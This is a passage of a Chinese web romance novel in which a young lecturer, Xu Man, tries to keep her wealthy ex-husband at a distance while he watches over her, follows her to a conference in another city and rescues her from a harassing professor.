骆亦迟当然不会听,“我已经给你买好了,适合你现在受伤穿的,还有一身衣服,已经让人送到你住的地方,这都是我该赔的。” 许满压根不知道骆亦迟什么时候做的这些事,握着冰块的手轻轻按在纱布上,心情复杂的望着车窗外。 直到回到华庭府,车子开进小区的地下停车场,许满看见一排一排整齐停放的私家车,才恍恍惚惚反应过来,到家了。 车子停的离电梯口很近,骆亦迟将她抱下来,进了电梯,还没放她下来的意思。 真不自觉。 许满不满的戳戳骆亦迟的肩膀,示意自己要下来,骆亦迟才将她放下来。 两人沉默的站着,一直到电梯门打开。 赵靖闻一身西装迎在电梯口,看见骆亦迟,点头弯腰的将两个大大的纸袋子双手递上:“骆总,这是您要的东西。” 骆亦迟扶许满小心的出了电梯,目光专注的落在许满身上,并不看赵靖闻一眼。 “好,放那儿吧,你可以回去了。” “好的骆总。”赵靖闻走了。 许满踮脚打开门,侧身进了屋,转身推门,将骆亦迟挡在门外。 他没有让骆亦迟进来的意思,隔着一掌宽的门缝对他说。 “我到家了,你也可以回去了。” 骆亦迟举起那两个袋子,“这是赔你的衣服和鞋子。” “嗯,你放那儿吧。” “你不收下吗?” 许满只好将门缝开大一点,将东西拿进来。 “好了,我收下了。” 骆亦迟还没走。 良久,他鼓起勇气,“我能进去坐坐吗?” 许满:“不能。” 骆亦迟泄气道:“那好吧。” “药按时吃,纱布及时管,如果不方便……” 许满打断:“谢谢,我自己会想办法换的。” 骆亦迟还不走。 许满将门缝推得更小,只留下个一手指宽的缝隙。 “既然你不走,那我就对你说几句话吧。” 骆亦迟微微抬头。 许满对着那个敞开得很小的门缝说。 “骆亦迟,你以后别再来找我了。” “我们都已经有了全新的生活,我很想过好当下的日子,可是你每一次的到来,都让我十分困扰。所以,能不能请你,别再来打扰我了。” 爱情这种东西,耗尽了,就没有了。 如今三番五次的出现,是图什么呢? 她好不容易从受伤的感情里走出来,这么多年都快忘干净了,他为什么又要出现,不止一次的提醒她,她曾爱过,曾为一个不值得的人真心付出过。 她给不了他想要的,也不愿轻易再给。 门外没有回答。 有布料摩擦的声响。 是骆亦迟垂下手,指尖擦过裤缝,了无生机的摆了几摆。 “好。” 在房门关上之前,许满听见他叹息似的回答。 第36章 第 36 章 蜀道难。 跟学院领导说明了受伤情况, 后面这几天,许满上班被特意允许可以一只脚穿上拖鞋。 领导本想让许满在家休息几天的, 可许满觉得自己才刚刚参加工作,又才开学,跟其他老师还没混熟,不方便找人调课,反正她的伤没严重到需要卧床的地步,又不影响正常生活, 索性就没请假。 伤处许满一直小心护理,十来天后,红印变黑,没几天开始脱皮, 又过了小半个月,死皮脱完, 露出了新长的皮肤, 打眼一看, 跟之前无异。 骆亦迟听话的没来找她, 许满如愿过了一阵清净日子。 学期到三分之一的时候, 一次教研组召开每周例会, 主任樊华在会上宣布, 北市有个生态智慧论坛, 半年前她投稿参会, 没想到审核通过了, 现在可以带一个听众过去, 希望有想法的老师积极报名参加。 读博时许满曾跟导师一起参加过类似的学术会议,当时受益匪浅,一听又有了, 第一个举手报名。 樊华为许满的积极感到高兴:“会议定在下周末,既然许满老师有意参加,那就回去好好做下准备,下周我们一起去。” 学校工作一结束,回到住的地方,许满打开电脑,在会议官网上查看了基本信息,同时认真拜读了樊华和其他与会大拿的参会论文。 樊华和许满提前一天出发,在北市住了一晚,第二天天一亮,赶早不赶晚的去了会议现场。 樊华识人颇广,与会的老师大半都认识,许满在她的带领下,结识了好几个学术界有名的老师,还合了好多张影,大会还没开始,就忙得脚不沾地。 此时的连城,江淮家里酒气熏天。 “大老板,你不去公司啊,都快九点了。” 江淮喝得有些大舌头了,背靠沙发大咧咧坐在地毯上,脚踩着一个空酒瓶踢来踢去,被早上的朝阳晃了下眼,还举起酒瓶朝窗外敬了敬。 就听骆亦迟说:“不去了,才刚从公司出来。” 实际上骆亦迟昨晚在公司坐了半个晚上,凌晨天蒙蒙亮,他提着一大箱子啤酒来找江淮,说心情不好,要来喝两杯。 当时江淮还没睡醒呢,“你心情不好,我就得起五更?公鸡打鸣都没这么早吧?” “你想睡就去睡,我坐够了就走。” 骆亦迟干净利落的推开门,从箱子里随便拿了一瓶酒,大马金刀往沙发上一坐,打开咕咚咕咚喝了起来。 这江淮哪能再去睡?他后悔把新家地址告诉骆亦迟了,不情不愿的直接穿着睡袍往沙发边就地一坐,也拿了一瓶酒,打开就是一通猛灌,说:“有心事儿?满脸忧郁的。” 骆亦迟不说话,闷头一瓶接一瓶的连灌了三瓶,才幽幽怨怨的开口:“许满一晚上没回住的地方。” 江淮正跟着往嘴里倒酒呢,闻言差点喷出来:“不是大哥,啥意思啊?你去人家楼下蹲点了?” 骆亦迟不瞒着,“昨天晚上八点多一直等到凌晨一点,2202一直没开灯,后来上楼去敲门,没人来开,我自己输密码进去,才发现她不在家,以前都没有这样过。” 江淮听出话里的意思,惊道:“你每天都去啊?” “差不多吧,她不让我靠近,说不让我打扰她,可是她受伤了,我得亲眼看她恢复才放心。” “然后呢?” “然后我就回了公司。江淮,你帮我问问她在哪儿?” “……” 让江淮做这种事,江淮差点跳起来:“我跟人家单纯的就假房东和真租客的关系,也就交房租时才聊几句,为了稳住她,我房租都降到1800了,该交时连催都不敢催,我用什么理由问人家在哪儿啊?再说多冒昧啊?你一前夫担心人家什么呢?人家都成年人了,而且离学校那么近,昨天周五,没准是在学校忙呢。” 说完又突然反应过来,“哎,不是,你不会自己问呐?” 骆亦迟猛灌了一大口酒,捏着空空的酒瓶一阵咵啦啦响,万般不是滋味的说:“我没她联系方式,只有个短视频账号,她已经好久没上了。” 他关心许满的烫伤情况,但是作为匿名粉丝,又不敢多问,怕问了露馅,只能在心里默默关心。 自从那次给许满刷完礼物,许满就没再直播了,只偶尔会更新几条视频,大多还不露脸。 骆亦迟不敢点赞或收藏,将那些视频反复观看得都快包浆,按照惯例下载下来,放进手机专属的文件夹里,想许满了,就点开看看。 江淮震惊:“都拉黑了啊?” “嗯。”骆亦迟嗓音苦涩,“拉黑六年多了。” 不管电话还是微信,到现在都还是黑名单状态。 江淮不忍细想,这得多讨厌,才能拉黑六年都不放出来。 他同情的拍拍这个受伤男人的背,一时不知道该怎么安慰,拿出自己的手机,跟骆亦迟手机上的许满微信账号对照了一下,“呐,你看,是这个账号吗?” “是。” 骆亦迟只瞟了一眼微信号就确认了。 江淮叹气,点开昨晚睡前看的一条公众号帖子,随手转手发给骆亦迟,并说:“听说过一句话吗?头婚女人看你时闭着眼,二婚女人看你时拿着放大镜。骆亦迟,蜀道难,早知如此,何必当初呢。” 骆亦迟心里何尝不清楚呢? 可事实已经到了这种地步,他只能负荆请罪竭力挽回,许满让他不要打扰,那他就听话的不去打扰,默默的躲在她看不见的地方,不出现,偷偷观察,只要知晓她的行踪,他就会觉得安心。 可现在许满突然失踪了,不知道去了哪里。 骆亦迟很害怕,害怕许满夜不归宿的原因是他想的那样,一想到这个可能,他就不敢往下细想,他怕自己一想,就会像上次一样控制不住,挖根掘地也要把许满找到,让他从那个人身边离开。 可那样他就真的没有机会了。 许满是完全自由的,她想爱谁就爱谁,他没有资格,更没有半点权利去干涉。 一旦干涉,只会把她推得更远。 想到这里,骆亦迟又闷头灌起酒来。 他一向酒量好,除非自己想醉,不然很少会喝到头脑不清醒。 七年前和许满胡来的那一晚算是,自那之后,他就很少喝醉了。 哪怕接手骆氏之后,跟人喝酒他也会保留分寸。 这次,却忽然想大醉一场。 许是因为旁边是好朋友江淮,他可以完全放下心来,又或者是因为内心情绪压抑得太久了,很想释放一下,骆亦迟喝了一瓶又一瓶,几乎没停,一大箱子的酒,都快让他喝光了。 可他只是微醺,依旧头脑清醒,知道自己在想念许满,想她在哪里,天已经亮了,有没有早点回家去。 江淮敬完朝阳,拿起手机一看,快九点了,习惯性打朋友圈。 手指机械性的划拉,映入眼帘的不是广告,就是晒娃,以及几条不起眼的新闻夹杂其中。 没意思,江淮滑到顶随手一刷新,突然,一条新动态出现在屏幕上。 “我艹……” 江淮无意识惊叹。 两个小时前刚刚讨论的微信号发朋友圈了。 他赶紧拍着骆亦迟的胳膊,“骆亦迟骆亦迟,快看,你前妻有消息了!” “什么消息?”骆亦迟迟钝的转过头来,眼皮半掀眼神微醉。 江淮把手机送到他眼前,“在北市呢!” 手机屏幕里,是一条九宫格的朋友圈。 许满长发半扎,面带微笑,拘谨的双手搭在胸前,分别和不同的人合照。 那些人无一例外穿着正装,胸前挂着一个绿色的牌子。 九宫格的正中间,是一个LED的电子屏幕,上面写着几行大字:第XX届生态智慧实践论坛 配文:学无止境。 骆亦迟双眼紧盯着那几个字,反应过来之后,赶忙掏出手机来搜索这个会议名字。 江淮忽然说:“啊这个什么智慧论坛啊,我听说过,今年在北市举办呢。” 他思索:“许满一晚上不在家,不会是去北市了吧?来手机还我,我给你问问。” 江淮拿过手机,先礼貌点赞,后再评论:“许老师去北市开会了?” 没一会儿,许满在评论区回复:“是啊,跟樊主任一起来的。” 江淮激动的举起手机:“你看你看,骆亦迟,我就说吧,人在北市呢!哎,你跟谁打电话呢?” 骆亦迟单手叉腰站在窗边,口吻正经条例清晰的吩咐,“赵靖闻,今晚北市是不是有个颁奖典礼来着?” “对,你把邀请函送来吧,回复主办方,就说我决定要参加了。” “池柠?公司没把她送过去?” “让经纪人和她先过去吧,我和她分开走,顺便通知老张,我喝酒了,没法开车,让他开车送我去。” 挂断电话,骆亦迟一改忧郁颓丧的面容,醉意全无的正了正衣襟,语速轻快的说:“这个论坛的地址正好在北市第一会展中心旁边,今晚那边有个电影颁奖典礼要举行,骆氏持股的娱乐公司投资的电影提名了,前几天给我送来了邀请函,我没答应。” 江淮实在无法将两者联系到一起。 “所以你现在要去参加颁奖典礼?绕这么大一个弯子,就为了再去蹲人家许老师?人家不是都发话让你不要去打扰她了?” “我不打扰她,正好当成正常的公务出差,如果一不小心遇见,她要是问起来,我也有理由。”骆亦迟自认合理。 已经五十二天没跟许满说话了。 每天的偷看都只是饮鸩止渴,一天不见,就让人心慌。 哪怕被许满斥责,哪怕被冷脸相待,他也要靠近。 只要能和她说上话,他就知足,就甘之如饴。 没有经历过的江淮是不会懂的。 第37章 第 37 章 池柠披过的外套。 论坛会议要持续一整天。 许满听了一上午, 脑子里被迫接受了很多超前的知识,搞得头昏脑涨的, 趁茶歇的时候,去人少的地方放松大脑。 北市的秋比连城的秋来得要早,天高地阔十分凉爽,许满拿了一块小蛋糕和一杯咖啡,来到外面的草地上坐下,一边吹风, 一边吃东西,一边看人。 身后的外围墙栏杆外吵吵闹闹的,像是聚集了很多人,她好奇的侧身去看。 结果只看到一排遮挡得严严实实的绿植。 看不见情况, 许满就没注意了,谁知不一会儿, 几位年轻的男女结队来到她身后, 在外围墙边上半蹲下, 扒开绿植往外头看。 交谈声乘着风送进许满耳朵里, 许满想不听都难。 “你确定是在这儿吗?” “当然确定, 微博都说了, 颁奖典礼在北市第一国际会展中心, 就这儿!哎你看, 前面拿灯牌和照相机的小孩, 应该就是某个站姐了!” “好多保安, 都看不到人。” “等会议结束我们去正门看看, 那时候人都该来了,没准还能看到走红毯呢。” “我看微博爆料,池柠又提名了。也是不容易, 换了公司才换了资源,年年都提名,就是年年都不拿奖,不知道今年她行不行……” “池柠”两个字擦过耳边,许满咀嚼的动作一顿。 “没听说新公司老板是她弟弟吗?就传过绯闻后来又澄清关系的那个弟弟。那么有钱,连池柠跟前公司的违约金都替她赔了,随便操作两下,保不齐池柠今年就是影后了。” “说起这个弟弟,你信他俩是姐弟吗?姓都不一样,总不会是同母异父吧?但长得一点都不像啊。” “娱乐圈关系乱了去了,人家既然这么说,那我们就只能这么信,管他真真假假,有瓜吃就得了。” 许满没再听了,小蛋糕味道不错,再去尝尝其他口味的。 论坛结束后,主办方还特别邀请与会的十来个重要人物晚上一起聚个餐,其中就有樊华。 许满是跟樊华一起的,自然也有她一个位子。 晚宴地点设在前面的十字路口旁,一家五星级酒店里,步行过去要不了十分钟。 会议结束,聚餐的人三两成群,陆陆续续往酒店里去。 樊华被一个好友拖住脚,留在后面多说了会话,许满为了等她,也跟着留在后面。 北市的天黑得早,说完话天已经擦黑,许满和樊华一起从会场出来,发现门口被围得水泄不通,靠交警指挥才能保障交通。 对面的会展中心正在举办颁奖活动,门口拉了很长的警戒线,警戒线内红毯向里延伸,警戒线外,记者们举着长枪高炮蓄势待发;保姆车沿着警戒线从这头排到那头,年轻人成群结队挤在路边,手里不是拿着海报,就是头上顶着灯牌…… “哟,这是怎么了?” 樊华一出来,被门口的阵仗吓了一跳。 许满告诉她:“听说有个娱乐圈的颁奖典礼在这儿举办呢,正好跟我们的论坛会议撞时间了。” “原来如此,这可赶巧了。” “是呢。” 两人感叹了几句,往酒店方向去。 车多人多,许满和樊华走得较慢。 快到十字路口,忽然身侧的车子鸣了一下笛。 随着鸣笛声去看,只见两个手拿荧光棒的小姑娘手拉手横穿马路,迎面驶来的司机鸣笛警告,堪堪擦着她们的裙边紧急刹停,正破口大骂呢。 樊华:“哟,好危险啊。” 许满附和:“是啊。” 小姑娘连忙道歉跑开了。 保姆车司机后面缀着一辆黑色的私家车。 私家车车速极慢,也可能是因为前方车多,所以它走得很小心。 许满觉得这车子眼熟,下意识的扫了一眼,目光划过车前的银色立标,又看到前面的车牌,心下猛的一跳。 余光暼见后排车窗,玻璃摇下四分之一,露出一个不太看得清的黑色发顶。 虽然看不见面容,但许满知道,那个发型只能是骆亦迟。 是跟着池柠来的? 没想到在这千里之遥的北市,也能遇见。 许满感叹,这真不知道是什么缘分了。 不过车里的人好样没发现她,她默默的从外换到里,跟樊华交换了个位置,低着头,沿着人行道快步前进,祈祷别被车里的人看见。 宾利车后排,一道锐利的视线从半下的车窗里面射出来,精准锁定在低头行走的女人身上。 “老张,开慢一点。” 老张只能不管后面车辆的催促,把车速降得更低。 骆亦迟望着许满不断加快的背影,目不转睛,直至许满进了斜对面一家五星级酒店,不再出来,才若有所思的将目光收回。 “好了,走吧。”. 酒店里包房里,其他人都到齐了,樊华和许满姗姗来迟,自罚三杯。 罚完落座,餐桌上的流程依旧是闲聊,碰杯,吹牛逼。 在座的都是前辈,许满是个新人,坐在里面略显拘谨,除非有人跟她说话,否则她不会主动。 酒过半旬,大家开始走动起来。 一位姓赵的教授就穿过大半个桌子来问许满。 “你博士不是在樊主任学校读的吧?” 许满记得这位教授好像叫赵奇。 “不是,赵教授,我是毕业后才去的樊主任学校。” “那你的博导是……?” 许满说了博导名字。 “他啊,我知道,我们可太熟悉了,曾经还是师兄弟呢。” 许满也没想到,惊奇的说:“这样啊……” 赵奇眼睛半眯:“看来我们有缘,这得喝一杯吧。” 前辈敬酒,许满不好意思拒绝,端起酒杯一口全闷了。 赵奇称赞她爽快,不愧是谁谁谁带出来的学生,称赞完也不走,就坐那儿和许满东扯西扯的吹牛逼,把自己夸得天花乱坠,还间或给许满倒酒满上。 许满刻意留了分寸,一口一口的抿着,就这样没一会儿还喝得有些熏熏然,借口上厕所,逃了。 上了个洗手间出来,感觉头晕,脑袋沉沉的,脖子仿佛要顶不住它,只能靠手支着。 许满想,还是去外面去透气吧。 她也不知道该去哪里,怕迷路,就沿着来时走的路线,一路回到了酒店大堂。 大堂很空旷,左手边有一组沙发,许满晕晕沉沉的走过去,往最边上没人的那个沙发上一坐,闭着眼,仰躺下。 躺了一会儿,觉得好一点了,再抬头,微醺的双眼睁开,冷不丁看见对面沙发上坐着一个人。 那人穿着一套暗色条纹的西装礼服,外套敞开着,露出里面的同色系马甲,双腿交叠正悠闲地品着一杯咖啡。 见许满睁开眼,那人交叠的腿松开,放下手中咖啡,上半身坐直,微微倾过来。 骆亦迟保持这个姿势,直勾勾的看着他,没有开口的意思。 许满一下子晃了神,没看错吧? 她揉了揉发痛的太阳穴,用力闭眼再睁开,对面的男人没变,还是他,还在直勾勾的盯着她。 确实没看错,那就是骆亦迟。 “我没打扰你,我一直在这儿,刚才,”骆亦迟抬腕确认时间,“二十分钟前,是你自己走过来坐到这儿的。” “哦。” 许满听懂骆亦迟的言外之意,就是他没说话不算话,答应不打扰就是不打扰。 许满又揉了揉发痛的太阳穴。 来时沙发上确实有人,但她脑袋昏沉没注意那是谁。 如果知道是骆亦迟,她绝对不会凑过来。 骆亦迟拿着一个盛满水的玻璃杯走到许满跟前。 “刚才见你不舒服,找酒店前台要的,就当是陌生人的关心,喝点吧,能解酒。” 玻璃杯温温的,里面的浅黄色液体散发出淡淡的甜香味。 “蜂蜜水。”骆亦迟说。 “好,谢谢,放那儿吧。”许满客气道,不打算喝。 骆亦迟听话的将水杯放下,人却不走。 两个人一坐一站,两相沉默,蜂蜜水凉了,许满也歇够了,站起来,返回包房。 骆亦迟立在原地,没追上去,许满不让他打扰,那他就尽力克制,什么都不做,就静静望着许满的背影,直至她消失在走廊拐角处。 包房里不见樊华的身影。 一问才知道,樊华也去洗手间了。 许满去洗手间找到樊华,樊华正抱着马桶在吐。 “樊主任,你没事吧?” 樊华摆摆手,“没事,那帮老男人就会灌酒。” 许满一下一下的帮樊华顺背,忽然想起那杯蜂蜜水,“樊主任你等我一下。” 跑回酒店大堂,那杯蜂蜜水已经不在了,骆亦迟人也不知道去了哪里。 许满只好去前台要,“你好,有蜂蜜水吗?” “有的,稍等。” 许满耐心等着,前方酒店门口突然涌进来一大堆人。 五六个人簇拥着一个身穿礼裙的美艳女子,红色修身长裙将女子曼妙的身躯包裹,更衬得她皮肤白皙,她身上披着一件许满刚刚见过的暗色条纹西服外套,为首的男子推开旋转门,女子将外套往身上拢了拢,昂着头,从许满身边款步走过。 “女士,您的蜂蜜水。” 前台将水递给许满。 许满接过,道了谢,返回去找樊华。 “哇,刚才那是池柠吗?没看错吧?” “百分百是,刚才得奖的图片,她穿的不就是这身衣服?今晚好多明星在我们酒店住呢,刚才我还看见那谁……” 许满加快脚步,前台八卦的声音渐渐淹没在踢踏纷乱的脚步声里,听不清了。 池柠没认出她来,许满想。 时隔多年,骆亦迟的外套还是会披在池柠身上。许满又想. 樊华喝了蜂蜜水,翻腾的胃终于好受多了。 许满提议要不早点回去,明早还要赶飞机。 樊华点点头,缓了会儿,回到包房去跟大伙儿再见。 都吃得差不多了,大家客气了几句,都不再挽留。 许满她们住的是经济型酒店,不在附近,得打车回去。 搀着樊华等在酒店门口,许满刚掏出手机叫车,不久前才聊过几句的赵奇突然又出现了。 他拎着一瓶酒,醉醺醺的从酒店里晃出来。 “哎呀,许、许满是吧?好大一会儿不见你人了,你不是去卫生间吗?咋还尿遁了呢?不道德……” “我刚才给师弟打过电话了,师弟对你赞不绝口,一直夸你呢,哎你这是要去哪儿?要回去了?” 刚才跟其他人道别时,确实没见赵奇的人影。 许满礼貌道:“我跟樊主任要回去了,你们继续玩吧,赵教授再见。” 谁知赵奇突然伸过手来,一下子扣在许满的肩膀上,用力往下压了压,同时举起酒瓶咕咚咕咚灌了自己好几口酒。 “许、许满,师弟让我好好照顾你,你可别走,再跟我喝会儿,我今儿,今儿就看你顺眼,喝酒爽快……” 许满脸色瞬间变得难堪,赵奇酒气熏人的口腔对着她,她只觉得万分恶心,不悦的去推赵奇。 “赵教授,你喝多了,快回去吧。” 赵奇胳膊将她压得死死的,“我找你半天了,你这就要走?走去哪儿?喝了这杯再走。” 赵奇胡言乱语的说着,一旁樊华终于看出了不对劲儿,也上来指责他:“赵奇,大庭广众的,你这么为难一个小姑娘做什么?” “小姑娘?都离婚一次婚的人了还小姑娘?”赵奇哈哈笑道,“我这可不是为难她?我就想让她陪我喝点儿,许满,赏个面子,上个月我刚离婚,正好你也离了,我们凑个伴儿,不是正好?” 赵奇说着,仰头又往自己嘴里灌酒。 许满的好脾气彻底压不住了,脸色铁青的抬脚就想踹过去。 就在这时,酒店里冲出来一个身影。 没人看清来人的动作,只听咚的一声,许满肩上一轻,赵奇以一个狗吃屎的姿势爬下,摔出三四米远。 酒瓶骨碌碌滚到他脚边,他迅速翻过身来,拍拍胸前的脚印,甩甩脑袋,困惑的看着眼前的男人,高声质问:“你谁啊?” 骆亦迟双眼冒火:“你管我是谁?我都没资格,你凭什么有资格?” 说着就拽过许满的手:“我以为你们学术界高端着呢,原来就是这种货色?刚才就是他灌的你酒吧?” 许满拼命去甩骆亦迟的手。 “这关你什么事?你放开我!” 骆亦迟紧扣着她的手,任凭她挣扎,就是不放。 “等你回去再说。” 他掏出手机,气愤的给老张打电话,“张叔,来酒店门口一趟,把车钥匙送下来。” 不到半分钟,老张人就来了,手里还多了一件出镜率颇高的外套。 骆亦迟拿过外套,抖开,披在许满身上。 “你们住哪儿?我送你。” 外套一挨上身,许满条件反射抬臂一挥,熨帖平整的外套被挥出去,落在赵奇酒瓶撒过的地面上,沾上了脏脏的灰尘和酒水。 “别碰我,这是池柠披过的外套。” 她瞪着眼,浑身写满了拒绝。 她才不要跟池柠共用一个外套。 老张默默去把外套捡回来。 拍了拍外套上的灰,老张说:“我刚才遇见池柠小姐了,他身上的外套跟这件很像。” “但不是骆总这件。”他看了看许满,把外套还给骆亦迟,“是她经纪人廖延的。” 许满一怔。 骆亦迟将外套提在手里,神情失落,不知道该拿这件衣服怎么办了。 这身衣服是今天抵达北市,为了参加颁奖典礼特意新买的。 因为时间仓促,他没有挑,导购告诉他这是刚到的新款,他试了下合身就买下了。 也是到了会场,才知道池柠的经纪人廖延穿了同款,为此还开了几句玩笑话。 后面他没在现场多待,因为许满去了酒店,他怕许满又走了,跟主办方打过招呼,就来酒店了。 向工作人员打听过,知道许满在这里吃饭,他的心才落了地,一直等在大堂,想假装在这儿跟她偶遇。 刚才许满走后,他碰到廖延,才知道池柠一行今晚住在这家酒店。 廖延告诉他:“池柠今晚得奖了,不容易,陪跑多年终于拿奖。” 获奖的正是骆氏娱乐公司投资的那部电影,廖延感谢公司给他和池柠机会。 骆亦迟说:“张叔,你送她们回去吧。” 他微微侧头看向许满,掩映在酒店暗黄灯光下的眉眼看起来落寞至极。 “没有别的意思,张叔送你们回去,我才放心,仅此而已。” 张叔将车子开过来,骆亦迟看许满和樊华一起上了车,关上门,目送他们离开。 车子驶出一段距离,许满回头往后看了一眼,骆亦迟独自一人站在那里,一只手插在裤兜里,另一只手提溜着外套,身形融化在身后酒店的朦胧灯光里,形单影只,一动不动,与来往的热闹格格不入。 可能是误会了骆亦迟,许满心里忽然堵的难受。 一直到车子拐过弯,驶入马路,她才收回目光。 又不能怪我,你为什么不早说啊。 许满捏着自己的手指,喃喃的说。 第38章 第 38 章 红娘活动。 樊华看出这位穿着打扮都尽显矜贵的男人与许满关系不凡, 尤其他还出手教训了企图对许满不轨的赵奇,回到酒店便问许满, “那位先生是你的……?” 许满言简意赅:“我前夫。” 樊华心道,果然,识趣的没再追问。 返程飞机订在第二天早上八点多。 住的地方离机场车程要一个多小时,第二天天还没亮,许满和樊华早早起来收拾好东西,六点不到, 就退房了。 走出大堂,迎面驶来骆亦迟的车。 老张看见许满,赶紧从车上下来,打开后备箱, 二话不说就把她的行李搬上车。 做好这一切,他才殷切道:“许小姐去哪里?机场还是火车站?我送你们吧。” 许满差点没反应过来, “张叔你这是……?” 老张也不瞒着:“是骆总的意思, 昨天送你们回来, 在车上问你什么时候回去, 你不说, 骆总就查了今天最早一班的高铁和飞机, 让我在这里等, 一直等到你出门, 幸好赶上了, 没想到你们这么早。 ” 许满站那儿没动, 大早上的被这一出给整懵了。 “他人呢?” “没过来, 他说,怕你看见他心烦。” 张叔又打开后座车门,邀请许满进去。 “骆总问过了, 你们住的这家经济酒店不提供早餐,他说,他的错,昨天又惹你不开心了,为了赔罪,特意买了早餐给你和这位老师吃,还说如果你不嫌弃,也可以坐他的车回连城。” 许满可以对骆亦迟摆出各种难看的脸色,说出各种难听的话,但对上只是执行上级命令的张叔,难听的话就说不出口了。 他没理由对一个尽职尽责,需要养家糊口的中年打工人摆脸色,内心自我纠结了会儿,便盛情难却的坐进了车里。 早饭是家常的糕点和粥,热乎乎的。 等许满和樊华吃完,老张又问:“许小姐,去哪里?机场还是火车站?又或者,我们直接回连城?” “直接回去,那骆亦迟呢?” “他说不用管他,他保证不会出现惹你烦心。” “哦。” 许满内心涌上一种异样的感觉,有点酸,说不上来,稍纵即逝。 沉默了一瞬,她道:“去机场吧,我们八点二十的飞机。”. 过了双休又上课了。 上午课间,许满在办公室休息,张澜举着手机兴奋的朝她围过来,“看新闻了吗?” “什么新闻?” “上周末你和樊主任不是去参加了一个什么智慧论坛,就你还发了朋友圈那个,我看里面有你和赵奇的合影,你晓得不?赵奇今天被举报了!” 提起赵奇,许满就生理性犯恶心,“怎么说?” “他前妻举报他学术不端,说他强占学生的研究成果果。还举报他骚扰女学生,晒出了好多聊天记录!而且这些聊天记录里的女学生都证实了!他参会投稿的那篇论文,说是伪造了别人数据投的!现在官网已经将他的痕迹抹去了,事情闹得可大了!” “啊?” 许满听得一愣一愣的,不禁唏嘘,这会议结束还没一周呢,人就翻车了,真快! 下午樊华就紧急召开组会,针对赵奇事件,警醒在座教师一定要以身作则,树师德,正师风,遵守学术道德,营造良好学术氛围。 会议结束,樊华特意让许满留下,针对赵奇对她作出的无礼行为给她道歉。 “那天的饭局让你受委屈了,是我识人不清,没发现他是这种人,还多亏了他前妻积极配合,不然不会这么快就查出来。” 许满听出樊华话语背后的意思,“樊主任,赵奇这样,是你在其中周旋促成的?” 樊华推了推眼镜,意味深长道:“我哪有那么大的本事,只能说,是他咎由自取吧!” “哦……”许满若有所思。 “对了,还有一件事。”樊华岔开话题,“学校这学期的硕导遴选开始了,你快点把资料准备准备,早点把名额提交上去。” 许满受宠若惊:“啊,主任,我也可以?” 她来学校连三个月都不到,压根就没往那方面想过。 樊华微笑:“为什么不可以?学校评审看的是综合能力,我看过了,你的条件是够的,试一试嘛,资料提交上去之后什么都不用管,评审交给学校,你只要等通知就行了。” 听起来很简单…… “好吧。”许满接道。 下课回到家,许满按照学校官网发布的要求,提交了自己的申请材料。 材料准备期间,她忽然想到梁桓宇,好久没联系了,不知道这孩子怎么样了,迷茫期有没有过去。 这天休息的时候,她给梁桓宇发了个微信。 【梁同学,硕导我帮你物色好了,你那边考虑怎么样了?要考的话赶紧哦,马上就要报名了,我这里有几本专业书,先推荐你看看?】 选了些专业课书籍,许满拍照发了过去。 过了几分钟,梁桓宇才回复:【我不考研了。】 许满诧异:【为什么不考了?】 梁桓宇回得慢吞吞:【就是不想考了】 他们这个专业本就不好找工作,越往上深造反而对未来越有帮助,梁桓宇就这么决定不考了,许满作为老师,更作为相处过一月余的姐姐,不由生出一种痛惜之感。 她问:【方便问下原因吗?】 梁桓宇没回复,拨来了视频。 画面接通,梁桓宇说话吞吞吐吐的:“老师,没别的原因,我决定转行了。” 许满:“转行?不在本专业发展了?” 梁桓宇举着手机,摄像头对准周围环境,慢慢的,绕了一圈。 “看到了吗老师,我租的工作室,我计划创业啦,搞直播。” “创业搞直播?” 许满一时跟不上年轻人的脑回路。 “还没弄好,弄好了带你来参观参观。” 镜头切换,梁桓宇对准自己,耐人寻味地对着屏幕看了好一会儿,忽然说:“老师,我是认真的。” 话毕,挥手再见,挂断了视频。 画面切断,许满想着梁桓宇最后那个眼神,忽然觉得莫名其妙。 带着疑问,她登上都快积灰的短视频账号,发现梁桓宇的粉丝数量已经从三十万变成了六十万,整个翻了一倍。 而他的直播动态也显示历史频繁,最近一个月就播了40场。 粉丝数量的增长直接反映了直播成效,能在一个行业内深耕并做好,不是件容易的事,但显然,梁桓宇的气场和性格都适合直播,做得很不错。 算了,她自己都劝过梁桓宇,条条大路通罗马,既然已经找到了适合他自己的罗马之路,何必劝人家改行呢? 等待遴选结果期间,大学城附近几所高校联合,要举办一场青年教师联谊活动,不限人员,只要是适龄的教职工或其子女或社会人士都可参加。 目的是促进青年教师劳逸结合,广交朋友。 说白了就是高校之间的相亲活动。 许满作为一名单身青年教师,当之无愧的积极报名了。 她也想碰碰运气,看能不能结识志同道合的异性朋友。 最重要的,报名后连续转发三天朋友圈,可以获得一对定制马克杯,转发五天,可以获得一对丘比特公仔,转发七天,就可以得到抽奖资格,一顿价值520的霸王餐! 她和张澜这些同事商量,不管谁中奖,霸王餐大家一起去! 许满兴致勃勃的转发了七天,七天一到,她开始祈祷,明天的相亲活动,希望幸运之神可以眷顾她一把!. 而另一头,骆亦迟像往常每一天一样,远远看着2202关了灯,开车驶离华庭府。 他借口想喝酒,把江淮约出来,去了学校附近的一家酒吧。 鼓点喧嚣,人群哄嚷,各色灯光摇曳,空气中烟酒味道弥散,性感婀娜的男男女女挑动人的神经。 骆亦迟觉得十分没意思。 “干嘛不让许满知道,那姓赵是你把他搞掉的。” 调酒师手法娴熟的调好一杯酒,江淮眼馋得不行,却只能端起面前的果汁——他开车来的,不敢喝酒。 “那渣滓老婆也是个不好惹的,狮子大开口,要那么多钱也不怕没命花。”江淮说。 骆亦迟轻抿了一口酒,酒杯嗒的一声放在大理石台面上,透明的冰块在琥珀色的威士忌液体中轻轻晃动。 “我转发给你的公众号帖子你没看?人家大v都教你怎么追妻了,你还不学着点!” 江淮拉出与骆亦迟的聊天记录,“这条推文,《前任再绝情,也扛不住你这样做》就告诉你:首先呢,你得放平心态,跟她断联一段时间;其次,你不要跟她提感情,要让她对你慢慢信任;最后,放下期待,建立新吸引。” 骆亦迟摇晃的酒杯一顿。 他连中三枪,全踩雷了!脸色倏地变得阴沉。 江淮压根没看见骆亦迟突变的脸色,还在给他出招:“呐,这篇推文,《挽回前任最狠的一招》,就教你,要制造损失感。什么意思呢,就是你纠缠了她这么久,突然撤离那么一下下,让她也尝尝被失去的滋味,她的情绪一下子就勾上来了,就开始对你怀念了!” “还有这篇,《你离破镜重圆只差一个巴纳姆效应》,巴纳姆效应知道吧?就是让你精准找到她的需求,走进她的内心……” 骆亦迟把江淮的手机按下去,神色惨淡的说了一句,“没用,都没用。” 